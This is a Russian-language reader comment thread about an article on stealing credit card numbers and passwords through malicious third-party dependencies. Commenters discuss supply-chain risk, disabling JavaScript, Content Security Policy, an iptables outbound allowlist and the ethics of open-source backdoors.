Вот приходите вы к директору и говорите — возможно, что в одной из 15000 зависимостей, которые тянет наш проект, есть какая-то уязвимость. А может и нет. Давайте потратим полгода на анализ? Или перепишем все сами?
А директор вам — «а что может случиться? Кредитки пользователей уведут? А может и не уведут? А пожуй..»
Мы разработчики и мы понимаем проблему и ее серьезность. А что вы скажете бизнесу?
Вот приходите вы к директору и говорите — возможно, что в одной из 15000 зависимостей, которые тянет наш проект, есть какая-то уязвимость. А может и нет. Давайте потратим полгода на анализ? Или перепишем все сами?
А директор вам — «а что может случиться? Кредитки пользователей уведут? А может и не уведут? А пожуй..»
Я вообще всегда исхожу из того, что данные карты, которые я ввожу где-то в Интернете, становятся известны всем вообще и сразу, поэтому денег у меня там ровно 0 до момента покупки чего-то, а на основной карте с деньгами вообще запрет всех интернет-операций.
а отключение js в браузере разве не защитит?
Примерно так же как выключение компьютера. Формально атакующий обломается, но современные сайты без JS работать не смогут, а если и смогут, то сочтут безJS'ного клиента ботом и забанят.
Смотря как реализована форма, если она просто в теге form, она спокойно отправится без js. Есть много сайтов где формы, появляются при нажатии на кнопку и отправляются модально, без перезагрузки страницы, при отключении js просто добавляется дополнительная промежуточная страница с формой и она сабмитится без js
Ну хоть в этом случае шапочка из фольги помогает? Или можно уже снимать?
Зато оригинальная статья наконец дала пинка двухлетнему тикету на github и в хроме наконец внесли коммит для добавления «prefetch-src» в CSP? chromium-review.googlesource.com/c/chromium/src/+/864362
Ура?
Ура?
iptables -A OUTPUT -i lo -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -m state --state NEW -m set --match-set access_list dst -j ACCEPT
iptables -P OUTPUT DROPСписок разрешенных адресов загоняем в ipset.
С FQDN будет посложнее, но тоже реализуемо.
Привлек внимание к вопросу. Даже напугал.
Неоднозначная заметка. С одной стороны безопасность тысяч разработок и возможно нескольких сотен тысяч пользователей, с другой злоупотребление доверием. Этическая сторона вопроса автора не волнует вообще что ли? Получается так, что тебе доверили, а ты… В общем и целом все знают, как это называется. Откровенно говоря, я задумался, доверять ли теперь чужим разработкам open-source.
Нет, на этот счёт я иллюзий не строю. Меня озаботило использование open-source подхода. Вот представьте, что какие-то библиотеки или FrameWorks имеют такие закладки, которые позволяют их авторам выполнять деструктивные действия.
Правда нет худа без добра. Согласитесь в этом плане при общении с заказчиками добавляет дополнительный аргумент использовать не стандартное ПО, а своё личное?
Правда нет худа без добра. Согласитесь в этом плане при общении с заказчиками добавляет дополнительный аргумент использовать не стандартное ПО, а своё личное?
Могут то могут. Но представьте, автор выпускает в открытый доступ новый релиз с деструктивной функцией. Какое-то время эта версия используется огромным количеством пользователей. Собирается в это время какая-то информация. А потом выпускается новая версия продукта без этой функции. Информация украдена, но все довольны.
Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших сайтов